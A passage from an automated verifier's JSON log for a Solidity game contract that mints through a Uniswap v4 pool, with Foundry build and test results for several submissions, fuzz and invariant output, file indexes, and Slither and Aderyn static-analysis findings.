testFuzz_wrongPaymentRevertsAtomically(uint96) (runs: 256, μ: 71279, ~: 71410)\n[PASS] test_autoPayoutAndClaimReentrancyCannotDoublePay() (gas: 1089066)\n[PASS] test_callbackCannotBeForgedOrInvokedOutsideAMint() (gas: 65083)\n[PASS] test_callerCannotWeakenConfiguredMinimum() (gas: 435123)\n[PASS] test_claimCannotBurnPrizeOrSendItBackToGame() (gas: 1114577)\n[PASS] test_configurationCanBeCorrectedBeforeFirstMintAndLocksAfterward() (gas: 630856)\n[PASS] test_configurationRejectsCodeLessTokenOrHook() (gas: 102433)\n[PASS] test_configurationRejectsInvalidFeeAndHooks() (gas: 157301)\n[PASS] test_configurationRejectsWrongCurrenciesAndSpacing() (gas: 225531)\n[PASS] test_configurationRejectsZeroOrUnreachableFloor() (gas: 82947)\n[PASS] test_configurationRequiresInitializedPool() (gas: 87497)\n[PASS] test_configurationRequiresOwner() (gas: 42335)\n[PASS] test_constructorRejectsZeroOwnerAndManager() (gas: 6391)\n[PASS] test_defaultMintUsesConfiguredFloorAndInclusiveMinimum() (gas: 840762)\n[PASS] test_deferredClaimReentrancyCannotDoublePay() (gas: 1167026)\n[PASS] test_directETHIsRejectedAndForcedSurplusIsNotAnEntryOrReward() (gas: 648813)\n[PASS] test_exactDeadlineIsAllowed() (gas: 486761)\n[PASS] test_explicitMintRejectsZeroFloorAndExpiredDeadline() (gas: 188024)\n[PASS] test_factoryDeploymentAssignsExplicitOwnerWithoutDependencyCode() (gas: 81654)\n[PASS] test_failedFinalMintLeavesGameOpenAndPriorAccountingIntact() (gas: 21714993)\n[PASS] test_failedPoolSwapRollsBackPayment() (gas: 222780)\n[PASS] test_falseReturningTokenRollsBackSwap() (gas: 400296)\n[PASS] test_finalMintCanBecomeWinnerAndItsRewardIsIncluded() (gas: 21483025)\n[PASS] test_gasConsumingWinnerCannotBlockTimeoutSettlement() (gas: 1147764)\n[PASS] test_lowGasSettlementDefersPrizeWithoutLosingClaim() (gas: 698543)\n[PASS] test_mintBuysWithExactSplitAndRecordsPayerAndActualReceipt() (gas: 742846)\n[PASS] test_mintFailsUntilConfigured() (gas: 650327)\n[PASS] test_missingCallbackAndDuplicateCallbackFail() (gas: 537044)\n[PASS] test_multipleEntriesTrackIndividualMinimumAndAggregateReceipts() (gas: 1123552)\n[PASS] test_noReturnTokenCanBeReceivedExactly() (gas: 564030)\n[PASS] test_rejectingWinnerCannotBlockSelloutAndCanRedirectClaim() (gas: 21287627)\n[PASS] test_revertingTokenRollsBackSwap() (gas: 399970)\n[PASS] test_settlementRejectsEmptyGameEarlyAndDuplicateActions() (gas: 781938)\n[PASS] test_slippageFailureRollsBackSwapTransferAndEntry() (gas: 403493)\n[PASS] test_soldOutAutomaticallyPaysAllRewardsAndPreventsLateMint() (gas: 20709543)\n[PASS] test_taxedOrBonusTokenCannotManufactureScore() (gas: 745101)\n[PASS] test_tiesBelongToEarliestMint() (gas: 1058764)\n[PASS] test_timeoutBoundaryRejectsMintAndAllowsAnyoneToSettle() (gas: 1029482)\n[PASS] test_tokenCallbackCannotReenterMint() (gas: 637950)\n[PASS] test_tokenCallbackCannotReenterUnlockCallback() (gas: 681444)\n[PASS] test_twoStepOwnershipDoesNotGivePendingOwnerControl() (gas: 267329)\n[PASS] test_wrongSettlementReverts() (gas: 373274)\n[PASS] test_zeroAndNegativeOutputAreRejected() (gas: 567285)\nSuite result: ok. 45 passed; 0 failed; 0 skipped; finished in 298.55ms (296.48ms CPU time)\n\nRan 1 test for test/AccountingInvariant.t.sol:AccountingInvariantTest\n[PASS]\nAccountingInvariantTest invariants:\n[PASS] invariant_ETHIsConservedAndRewardsCannotBeTakenTwice\n[PASS] invariant_everyEntryAndPayerAggregateMatchesActualDelivery\n[PASS] invariant_leaderIsEarliestMinimumAndClosureIsIrreversible\n AccountingInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭-------------+----------------+-------+---------+----------╮\n| Contract    | Selector       | Calls | Reverts | Discards |\n+===========================================================+\n| GameHandler | advanceTime    | 1593  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | claim          | 1665  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | enter          | 1663  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | invalidPayment | 1635  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | settle         | 1636  | 0       | 0        |\n╰-------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 193854\n  Bound result 3000\n  Bound result 100\n  Bound result 4\n  Bound result 4402\n  Bound result 16384\n  Bound result 1\n  Bound result 714268139627856\n  Bound result 2\n  Bound result 49152\n  Bound result 8\n  Bound result 189748451\n  Bound result 2\n  Bound result 999999999999999999999996\n  Bound result 2\n  Bound result 999999999999999999999997\n  Bound result 6\n  Bound result 19\n  Bound result 599290589\n  Bound result 8\n  Bound result 119873\n  Bound result 1000\n  Bound result 196095\n  Bound result 661\n  Bound result 7\n  Bound result 1255696620\n  Bound result 8\n  Bound result 60\n  Bound result 3221410365\n  Bound result 2\n  Bound result 49152\n  Bound result 27989566658842310\n  Bound result 2\n  Bound result 3000\n  Bound result 8\n  Bound result 23856061402\n  Bound result 1\n  Bound result 4476\n  Bound result 2924\n  Bound result 5\n  Bound result 10018\n  Bound result 87061\n  Bound result 999999999999999999999908\n  Bound result 6\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.35s (6.34s CPU time)\n\nRan 3 tests for test/RealPoolInvariant.t.sol:RealPoolInvariantTest\n[PASS]\nRealPoolInvariantTest invariants:\n[PASS] invariant_historyMatchesDeliveryEvenAfterTokensMove\n[PASS] invariant_rewardsAndNativeBalancesMatchIndependentCashFlows\n[PASS] invariant_winnerIsTheEarliestMinimumAndFinalizationNeverReopens\n RealPoolInvariantTest invariants (runs: 256, calls: 24576, reverts: 0)\n\n╭---------------------+--------------+-------+---------+----------╮\n| Contract            | Selector     | Calls | Reverts | Discards |\n+=================================================================+\n| RealPoolGameHandler | advanceTime  | 3014  | 0       | 0        |\n|---------------------+--------------+-------+---------+----------|\n| RealPoolGameHandler | claim        | 3078  | 0       | 0        |\n|---------------------+--------------+-------+---------+----------|\n| RealPoolGameHandler | enter        | 3099  | 0       | 0        |\n|---------------------+--------------+-------+---------+----------|\n| RealPoolGameHandler | forceSurplus | 3165  | 0       | 0        |\n|---------------------+--------------+-------+---------+----------|\n| RealPoolGameHandler | moveTokens   | 3070  | 0       | 0        |\n|---------------------+--------------+-------+---------+----------|\n| RealPoolGameHandler | rejectMint   | 3016  | 0       | 0        |\n|---------------------+--------------+-------+---------+----------|\n| RealPoolGameHandler | settle       | 3088  | 0       | 0        |\n|---------------------+--------------+-------+---------+----------|\n| RealPoolGameHandler | trade        | 3046  | 0       | 0        |\n╰---------------------+--------------+-------+---------+----------╯\n\nLogs:\n  Bound result 10125450346181568\n  Bound result 910280192079929950\n  Bound result 4362\n  Bound result 5636\n  Bound result 15277\n  Bound result 345600\n  Bound result 1\n  Bound result 3\n  Bound result 9531\n  Bound result 4\n  Bound result 0\n  Bound result 894132197150639957\n  Bound result 418936660468463966\n  Bound result 8\n  Bound result 25480885306538\n  Bound result 42\n  Bound result 1\n  Bound result 3124842407\n  Bound result 18352\n  Bound result 5\n  Bound result 20553\n  Bound result 11\n  Bound result 5\n  Bound result 17\n  Bound result 13365\n  Bound result 6\n  Bound result 760585965797305462\n  Bound result 1999999000000007464\n  Bound result 6934\n  Bound result 36597610242094619\n  Bound result 251\n  Bound result 14796176513237794\n  Bound result 745\n  Bound result 32\n  Bound result 77\n  Bound result 7\n  Bound result 14\n  Bound result 1\n  Bound result 7756\n  Bound result 0\n  Bound result 1999999008292450794\n  Bound result 421700519265182778\n  Bound result 2\n  Bound result 20\n  Bound result 1999999000000003906\n  Bound result 5\n  Bound result 13211\n  Bound result 12\n  Bound result 6\n  Bound result 1999999000000002599\n  Bound result 323504\n  Bound result 1999999000000001277\n  Bound result 20\n  Bound result 12\n  Bound result 242\n  Bound result 1\n  Bound result 300\n  Bound result 2542\n  Bound result 1000\n  Bound result 7\n  Bound result 12\n  Bound result 6\n  Bound result 3\n  Bound result 1999999000000017712\n  Bound result 100\n\n[PASS] test_handlerReachesSelloutWithRejectingWinnerAndClaimRetries() (gas: 44686301)\nLogs:\n  Bound result 20\n  Bound result 20\n  Bound result 20\n  Bound result 20\n  Bound result 20\n  Bound result 1\n\n[PASS] test_handlerTradesBothWaysAndKeepsHistoryAfterTransfer() (gas: 5686873)\nLogs:\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 1079436542732677956\n  Bound result 1\n  Bound result 1000000000000000000\n\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 48.33s (48.37s CPU time)\n\nRan 6 test suites in 48.33s (55.59s CPU time): 80 tests passed, 0 failed, 0 skipped (80 total tests)\n","passed":true},{"durationMs":59,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LowestMintGame.acceptOwnership()\",\"LowestMintGame.claimRewards(address)\",\"LowestMintGame.configurePool((address,address,uint24,int24,address),uint256)\",\"LowestMintGame.finalize()\",\"LowestMintGame.mint()\",\"LowestMintGame.mint(uint256,uint256)\",\"LowestMintGame.receive()\",\"LowestMintGame.renounceOwnership()\",\"LowestMintGame.transferOwnership(address)\",\"LowestMintGame.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":37,\"LICENSE\":23,\"README.md\":222,\"docs/SECURITY.md\":85,\"docs/VALIDATION.md\":47,\"foundry.toml\":21,\"remappings.txt\":4,\"src/LowestMintGame.sol\":275,\"test/AccountingInvariant.t.sol\":167,\"test/AdversarialMint.t.sol\":411,\"test/INDEPENDENT_TESTS.md\":65,\"test/LaunchCompatibility.t.sol\":33,\"test/LowestMintGame.t.sol\":576,\"test/RealPoolInvariant.t.sol\":220,\"test/UniswapV4Integration.t.sol\":247,\"test/helpers/ExternalPoolTrader.sol\":55,\"test/helpers/GameFixture.sol\":67,\"test/helpers/LiquiditySeeder.sol\":49,\"test/helpers/Mocks.sol\":191,\"test/helpers/RealPoolGameHandler.sol\":266,\"test/helpers/SwapHook.sol\":60},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"5a6290daf7b7c6696f0724817d2efed8e15f0151429dc00d548d74893d327ded","verifiedTreeHash":"482d81f863b48912b1b2b566ac4752dcaa2eb351","verifierVersion":"0.1.0+8f703f9f"},{"checks":[{"durationMs":2913,"exitCode":0,"name":"build","output":"Compiling 83 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.81s\nCompiler run successful!\n","passed":true},{"durationMs":5842,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/LaunchCompatibility.t.sol:LaunchCompatibilityTest\n[PASS] test_emptyChainDeploymentHasBoundedRuntimeAndNoEscapeOpcodes() (gas: 5637404)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.06ms (12.89ms CPU time)\n\nRan 49 tests for test/LowestMintGame.t.sol:LowestMintGameTest\n[PASS] testFuzz_inexactInputCannotSpendRewardsOrCreatePartialEntry(uint64) (runs: 256, μ: 340407, ~: 340400)\n[PASS] testFuzz_scoreAndConservationForSequence(uint128[12]) (runs: 256, μ: 3347037, ~: 3345569)\nLogs:\n  Bound result 999999999999999999999906\n  Bound result 719995702835089851953586\n  Bound result 5441\n  Bound result 3230\n  Bound result 547\n  Bound result 35111\n  Bound result 127\n  Bound result 6052\n  Bound result 1000000\n  Bound result 294443688\n  Bound result 300\n  Bound result 999999999999999999999906\n\n[PASS] testFuzz_wrongPaymentRevertsAtomically(uint96) (runs: 256, μ: 71255, ~: 71386)\n[PASS] test_autoPayoutAndClaimReentrancyCannotDoublePay() (gas: 1098564)\n[PASS] test_callbackCannotBeForgedOrInvokedOutsideAMint() (gas: 65105)\n[PASS] test_callerCannotWeakenConfiguredMinimum() (gas: 435254)\n[PASS] test_claimCannotBurnPrizeOrSendItBackToGame() (gas: 1123789)\n[PASS] test_configurationCanBeCorrectedBeforeFirstMintAndLocksAfterward() (gas: 633173)\n[PASS] test_configurationRejectsCodeLessTokenOrHook() (gas: 102522)\n[PASS] test_configurationRejectsInvalidFeeAndHooks() (gas: 157407)\n[PASS] test_configurationRejectsWrongCurrenciesAndSpacing() (gas: 225657)\n[PASS] test_configurationRejectsZeroOrUnreachableFloor() (gas: 82969)\n[PASS] test_configurationRequiresInitializedPool() (gas: 87497)\n[PASS] test_configurationRequiresOwner() (gas: 42357)\n[PASS] test_constructorRejectsZeroOwnerAndManager() (gas: 6391)\n[PASS] test_defaultMintUsesConfiguredFloorAndInclusiveMinimum() (gas: 840806)\n[PASS] test_deferredClaimReentrancyCannotDoublePay() (gas: 1176475)\n[PASS] test_directETHIsRejectedAndForcedSurplusIsNotAnEntryOrReward() (gas: 648910)\n[PASS] test_exactDeadlineIsAllowed() (gas: 486782)\n[PASS] test_explicitMintRejectsZeroFloorAndExpiredDeadline() (gas: 188111)\n[PASS] test_factoryDeploymentAssignsExplicitOwnerWithoutDependencyCode() (gas: 81772)\n[PASS] test_failedFinalMintLeavesGameOpenAndPriorAccountingIntact() (gas: 21716747)\n[PASS] test_failedPoolSwapRollsBackPayment() (gas: 222955)\n[PASS] test_falseReturningTokenRollsBackSwap() (gas: 400405)\n[PASS] test_finalMintCanBecomeWinnerAndItsRewardIsIncluded() (gas: 21484780)\n[PASS] test_finalMintGasLimitCannotForceDeferralForCooperativeWinner() (gas: 74265167)\n[PASS] test_gasConsumingWinnerCannotBlockTimeoutSettlement() (gas: 1157068)\n[PASS] test_lowGasSettlementRevertsInsteadOfDeferringThePrize() (gas: 770785)\n[PASS] test_mintBuysWithExactSplitAndRecordsPayerAndActualReceipt() (gas: 743162)\n[PASS] test_mintFailsUntilConfigured() (gas: 672457)\n[PASS] test_missingCallbackAndDuplicateCallbackFail() (gas: 537108)\n[PASS] test_multipleEntriesTrackIndividualMinimumAndAggregateReceipts() (gas: 1123727)\n[PASS] test_noReturnTokenCanBeReceivedExactly() (gas: 563988)\n[PASS] test_poolBoundMintKeepsFloorDeadlineAndConfigurationChecks() (gas: 1280716)\n[PASS] test_poolBoundMintRejectsConfigurationReplacedAfterTheQuote() (gas: 1782535)\n[PASS] test_rejectingWinnerCannotBlockSelloutAndCanRedirectClaim() (gas: 21294191)\n[PASS] test_returnBombingWinnerCannotRaiseSettlementGasAboveTheReserve() (gas: 17987684)\n[PASS] test_revertingTokenRollsBackSwap() (gas: 400101)\n[PASS] test_settlementRejectsEmptyGameEarlyAndDuplicateActions() (gas: 782019)\n[PASS] test_slippageFailureRollsBackSwapTransferAndEntry() (gas: 403602)\n[PASS] test_soldOutAutomaticallyPaysAllRewardsAndPreventsLateMint() (gas: 20706807)\n[PASS] test_taxedOrBonusTokenCannotManufactureScore() (gas: 745254)\n[PASS] test_tiesBelongToEarliestMint() (gas: 1058829)\n[PASS] test_timeoutBoundaryRejectsMintAndAllowsAnyoneToSettle() (gas: 1029629)\n[PASS] test_tokenCallbackCannotReenterMint() (gas: 637927)\n[PASS] test_tokenCallbackCannotReenterUnlockCallback() (gas: 681488)\n[PASS] test_twoStepOwnershipDoesNotGivePendingOwnerControl() (gas: 269768)\n[PASS] test_wrongSettlementReverts() (gas: 373383)\n[PASS] test_zeroAndNegativeOutputAreRejected() (gas: 567460)\nSuite result: ok. 49 passed; 0 failed; 0 skipped; finished in 268.66ms (233.92ms CPU time)\n\nRan 13 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testFuzz_realPoolReceiptsMatchTokenBalanceDeltas(uint8) (runs: 256, μ: 6885977, ~: 4539465)\nLogs:\n  Bound result 5\n\n[PASS] test_realDynamicFeeHookAndOutputFeeAreAccountedBeforeScoring() (gas: 1696713)\n[PASS] test_realExhaustedLiquidityRejectsPartialFill() (gas: 914987)\n[PASS] test_realHookCannotPoisonSettlementCurrencyOrReenterMint() (gas: 1599059)\n[PASS] test_realPoolNoReturnTokenIsSupported() (gas: 450509)\n[PASS] test_realPoolSwapPaysNativeDebtAndTransfersIMDDirectly() (gas: 524888)\n[PASS] test_realPoolTaxedTokenCannotChangeWinningScore() (gas: 269117)\n[PASS] test_realPoolTokenTransferFailureRevertsAllState() (gas: 235087)\n[PASS] test_realPoolWithNoLiquidityCannotCreateAnEntry() (gas: 611101)\n[PASS] test_realPriceMovementChangesLeaderAndSelloutPaysFinalMint() (gas: 23268688)\n[PASS] test_realSlippageRevertRestoresPoolPriceBalancesAndEntryState() (gas: 310227)\n[PASS] test_rejectingRealHookRollsBackEntry() (gas: 1252798)\n[PASS] test_timeoutSettlementDoesNotNeedLivePoolOrToken() (gas: 529097)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 288.69ms (311.31ms CPU time)\n\nRan 1 test for test/AccountingInvariant.t.sol:AccountingInvariantTest\n[PASS]\nAccountingInvariantTest invariants:\n[PASS] invariant_ETHIsConservedAndRewardsCannotBeTakenTwice\n[PASS] invariant_everyEntryAndPayerAggregateMatchesActualDelivery\n[PASS] invariant_leaderIsEarliestMinimumAndClosureIsIrreversible\n AccountingInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭-------------+----------------+-------+---------+----------╮\n| Contract    | Selector       | Calls | Reverts | Discards |\n+===========================================================+\n| GameHandler | advanceTime    | 1593  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | claim          | 1665  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | enter          | 1663  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | invalidPayment | 1635  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | settle         | 1636  | 0       | 0        |\n╰-------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 566\n  Bound result 308800\n  Bound result 1120\n  Bound result 2\n  Bound result 4849\n  Bound result 1001\n  Bound result 1\n  Bound result 714268139627856\n  Bound result 2\n  Bound result 32768\n  Bound result 5\n  Bound result 189748451\n  Bound result 2\n  Bound result 16384\n  Bound result 7\n  Bound result 8388609\n  Bound result 7\n  Bound result 19\n  Bound result 599290589\n  Bound result 7\n  Bound result 161445\n  Bound result 10\n  Bound result 196095\n  Bound result 6963\n  Bound result 1\n  Bound result 1735\n  Bound result 3\n  Bound result 3000\n  Bound result 212788514231647267063403\n  Bound result 5\n  Bound result 32768\n  Bound result 27989566658842310\n  Bound result 2\n  Bound result 1000000\n  Bound result 4\n  Bound result 23856061402\n  Bound result 1\n  Bound result 4643\n  Bound result 2923\n  Bound result 8\n  Bound result 9872\n  Bound result 87061\n  Bound result 253\n  Bound result 6\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.72s (5.71s CPU time)\n\nRan 4 test suites in 5.72s (6.29s CPU time): 64 tests passed, 0 failed, 0 skipped (64 total tests)\n","passed":true},{"durationMs":50,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LowestMintGame.acceptOwnership()\",\"LowestMintGame.claimRewards(address)\",\"LowestMintGame.configurePool((address,address,uint24,int24,address),uint256)\",\"LowestMintGame.finalize()\",\"LowestMintGame.mint()\",\"LowestMintGame.mint(bytes32,uint256,uint256)\",\"LowestMintGame.mint(uint256,uint256)\",\"LowestMintGame.receive()\",\"LowestMintGame.renounceOwnership()\",\"LowestMintGame.transferOwnership(address)\",\"LowestMintGame.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":37,\"LICENSE\":23,\"README.md\":275,\"docs/SECURITY.md\":97,\"docs/VALIDATION.md\":50,\"foundry.toml\":21,\"remappings.txt\":4,\"src/LowestMintGame.sol\":297,\"test/AccountingInvariant.t.sol\":167,\"test/LaunchCompatibility.t.sol\":33,\"test/LowestMintGame.t.sol\":706,\"test/UniswapV4Integration.t.sol\":247,\"test/helpers/GameFixture.sol\":67,\"test/helpers/LiquiditySeeder.sol\":49,\"test/helpers/Mocks.sol\":198,\"test/helpers/SwapHook.sol\":60},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":1564,"exitCode":0,"name":"slither","output":"[high/medium] reentrancy-balance at src/LowestMintGame.sol:211: Reentrancy in LowestMintGame.unlockCallback(bytes) (src/LowestMintGame.sol#211-241):\n[medium/high] incorrect-equality at src/LowestMintGame.sol:172: LowestMintGame._mint(uint256,uint256) (src/LowestMintGame.sol#172-208) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/LowestMintGame.sol:172: Reentrancy in LowestMintGame._mint(uint256,uint256) (src/LowestMintGame.sol#172-208):\n[medium/medium] unused-return at src/LowestMintGame.sol:111: LowestMintGame.configurePool(PoolKey,uint256) (src/LowestMintGame.sol#111-137) ignores return value by (sqrtPriceX96,None,None,None) = poolManager.getSlot0(key.toId()) (src/LowestMintGame.sol#127)\n[medium/medium] unused-return at src/LowestMintGame.sol:172: LowestMintGame._mint(uint256,uint256) (src/LowestMintGame.sol#172-208) ignores return value by poolManager.unlock() (src/LowestMintGame.sol#184)\n[low/medium] reentrancy-benign at src/LowestMintGame.sol:211: Reentrancy in LowestMintGame.unlockCallback(bytes) (src/LowestMintGame.sol#211-241):\n[low/medium] reentrancy-benign at src/LowestMintGame.sol:172: Reentrancy in LowestMintGame._mint(uint256,uint256) (src/LowestMintGame.sol#172-208):\n[low/medium] timestamp at src/LowestMintGame.sol:244: LowestMintGame.finalize() (src/LowestMintGame.sol#244-249) uses timestamp for comparisons\n[low/medium] timestamp at src/LowestMintGame.sol:172: LowestMintGame._mint(uint256,uint256) (src/LowestMintGame.sol#172-208) uses timestamp for comparisons","passed":true},{"durationMs":481,"exitCode":0,"name":"aderyn","output":"[high] reentrancy-state-change at src/LowestMintGame.sol:218: Reentrancy: State change after external call (6 places)\n[low] centralization-risk at src/LowestMintGame.sol:22: Centralization Risk (2 places)\n[low] large-numeric-literal at src/LowestMintGame.sol:30: Large Numeric Literal (2 places)\n[low] non-reentrant-not-first at src/LowestMintGame.sol:111: `nonReentrant` is Not the First Modifier\n[low] state-change-without-event at src/LowestMintGame.sol:211: State Change Without Event\n[low] unchecked-return at src/LowestMintGame.sol:184: Unchecked Return","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"923c94fdd936f30d488c6a30e299cb103605a19dc7ed4ac6ffbca4a73d084aea","verifiedTreeHash":"57810f48306f6337cf66ef11bccd244ce3f1bcbf","verifierVersion":"0.1.0+8f703f9f"},{"checks":[{"durationMs":2569,"exitCode":0,"name":"build","output":"Compiling 83 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.45s\nCompiler run successful!\n","passed":true},{"durationMs":5562,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/LaunchCompatibility.t.sol:LaunchCompatibilityTest\n[PASS] test_emptyChainDeploymentHasBoundedRuntimeAndNoEscapeOpcodes() (gas: 5467361)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.76ms (15.60ms CPU time)\n\nRan 45 tests for test/LowestMintGame.t.sol:LowestMintGameTest\n[PASS] testFuzz_inexactInputCannotSpendRewardsOrCreatePartialEntry(uint64) (runs: 256, μ: 340298, ~: 340291)\n[PASS] testFuzz_scoreAndConservationForSequence(uint128[12]) (runs: 256, μ: 3345619, ~: 3344520)\nLogs:\n  Bound result 999999999999999999999939\n  Bound result 463463408295386093384315\n  Bound result 51187888198978295226457\n  Bound result 999999999999999999999948\n  Bound result 397315725580102624917210\n  Bound result 886002654473298371069016\n  Bound result 466330596326838343\n  Bound result 103\n  Bound result 79280782864768870964166\n  Bound result 381\n  Bound result 1130457\n  Bound result 955677928331214913973567\n\n[PASS] testFuzz_wrongPaymentRevertsAtomically(uint96) (runs: 256, μ: 71279, ~: 71410)\n[PASS] test_autoPayoutAndClaimReentrancyCannotDoublePay() (gas: 1089066)\n[PASS] test_callbackCannotBeForgedOrInvokedOutsideAMint() (gas: 65083)\n[PASS] test_callerCannotWeakenConfiguredMinimum() (gas: 435123)\n[PASS] test_claimCannotBurnPrizeOrSendItBackToGame() (gas: 1114577)\n[PASS] test_configurationCanBeCorrectedBeforeFirstMintAndLocksAfterward() (gas: 630856)\n[PASS] test_configurationRejectsCodeLessTokenOrHook() (gas: 102433)\n[PASS] test_configurationRejectsInvalidFeeAndHooks() (gas: 157301)\n[PASS] test_configurationRejectsWrongCurrenciesAndSpacing() (gas: 225531)\n[PASS] test_configurationRejectsZeroOrUnreachableFloor() (gas: 82947)\n[PASS] test_configurationRequiresInitializedPool() (gas: 87497)\n[PASS] test_configurationRequiresOwner() (gas: 42335)\n[PASS] test_constructorRejectsZeroOwnerAndManager() (gas: 6391)\n[PASS] test_defaultMintUsesConfiguredFloorAndInclusiveMinimum() (gas: 840762)\n[PASS] test_deferredClaimReentrancyCannotDoublePay() (gas: 1167026)\n[PASS] test_directETHIsRejectedAndForcedSurplusIsNotAnEntryOrReward() (gas: 648813)\n[PASS] test_exactDeadlineIsAllowed() (gas: 486761)\n[PASS] test_explicitMintRejectsZeroFloorAndExpiredDeadline() (gas: 188024)\n[PASS] test_factoryDeploymentAssignsExplicitOwnerWithoutDependencyCode() (gas: 81654)\n[PASS] test_failedFinalMintLeavesGameOpenAndPriorAccountingIntact() (gas: 21714993)\n[PASS] test_failedPoolSwapRollsBackPayment() (gas: 222780)\n[PASS] test_falseReturningTokenRollsBackSwap() (gas: 400296)\n[PASS] test_finalMintCanBecomeWinnerAndItsRewardIsIncluded() (gas: 21483025)\n[PASS] test_gasConsumingWinnerCannotBlockTimeoutSettlement() (gas: 1147764)\n[PASS] test_lowGasSettlementDefersPrizeWithoutLosingClaim() (gas: 698543)\n[PASS] test_mintBuysWithExactSplitAndRecordsPayerAndActualReceipt() (gas: 742846)\n[PASS] test_mintFailsUntilConfigured() (gas: 650327)\n[PASS] test_missingCallbackAndDuplicateCallbackFail() (gas: 537044)\n[PASS] test_multipleEntriesTrackIndividualMinimumAndAggregateReceipts() (gas: 1123552)\n[PASS] test_noReturnTokenCanBeReceivedExactly() (gas: 564030)\n[PASS] test_rejectingWinnerCannotBlockSelloutAndCanRedirectClaim() (gas: 21287627)\n[PASS] test_revertingTokenRollsBackSwap() (gas: 399970)\n[PASS] test_settlementRejectsEmptyGameEarlyAndDuplicateActions() (gas: 781938)\n[PASS] test_slippageFailureRollsBackSwapTransferAndEntry() (gas: 403493)\n[PASS] test_soldOutAutomaticallyPaysAllRewardsAndPreventsLateMint() (gas: 20709543)\n[PASS] test_taxedOrBonusTokenCannotManufactureScore() (gas: 745101)\n[PASS] test_tiesBelongToEarliestMint() (gas: 1058764)\n[PASS] test_timeoutBoundaryRejectsMintAndAllowsAnyoneToSettle() (gas: 1029482)\n[PASS] test_tokenCallbackCannotReenterMint() (gas: 637950)\n[PASS] test_tokenCallbackCannotReenterUnlockCallback() (gas: 681444)\n[PASS] test_twoStepOwnershipDoesNotGivePendingOwnerControl() (gas: 267329)\n[PASS] test_wrongSettlementReverts() (gas: 373274)\n[PASS] test_zeroAndNegativeOutputAreRejected() (gas: 567285)\nSuite result: ok. 45 passed; 0 failed; 0 skipped; finished in 243.58ms (183.71ms CPU time)\n\nRan 13 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testFuzz_realPoolReceiptsMatchTokenBalanceDeltas(uint8) (runs: 256, μ: 6971601, ~: 4074327)\nLogs:\n  Bound result 30\n\n[PASS] test_realDynamicFeeHookAndOutputFeeAreAccountedBeforeScoring() (gas: 1691573)\n[PASS] test_realExhaustedLiquidityRejectsPartialFill() (gas: 909892)\n[PASS] test_realHookCannotPoisonSettlementCurrencyOrReenterMint() (gas: 1593919)\n[PASS] test_realPoolNoReturnTokenIsSupported() (gas: 450487)\n[PASS] test_realPoolSwapPaysNativeDebtAndTransfersIMDDirectly() (gas: 524822)\n[PASS] test_realPoolTaxedTokenCannotChangeWinningScore() (gas: 269140)\n[PASS] test_realPoolTokenTransferFailureRevertsAllState() (gas: 235110)\n[PASS] test_realPoolWithNoLiquidityCannotCreateAnEntry() (gas: 606006)\n[PASS] test_realPriceMovementChangesLeaderAndSelloutPaysFinalMint() (gas: 23266491)\n[PASS] test_realSlippageRevertRestoresPoolPriceBalancesAndEntryState() (gas: 310250)\n[PASS] test_rejectingRealHookRollsBackEntry() (gas: 1247703)\n[PASS] test_timeoutSettlementDoesNotNeedLivePoolOrToken() (gas: 529104)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 303.22ms (323.37ms CPU time)\n\nRan 1 test for test/AccountingInvariant.t.sol:AccountingInvariantTest\n[PASS]\nAccountingInvariantTest invariants:\n[PASS] invariant_ETHIsConservedAndRewardsCannotBeTakenTwice\n[PASS] invariant_everyEntryAndPayerAggregateMatchesActualDelivery\n[PASS] invariant_leaderIsEarliestMinimumAndClosureIsIrreversible\n AccountingInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭-------------+----------------+-------+---------+----------╮\n| Contract    | Selector       | Calls | Reverts | Discards |\n+===========================================================+\n| GameHandler | advanceTime    | 1593  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | claim          | 1665  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | enter          | 1663  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | invalidPayment | 1635  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | settle         | 1636  | 0       | 0        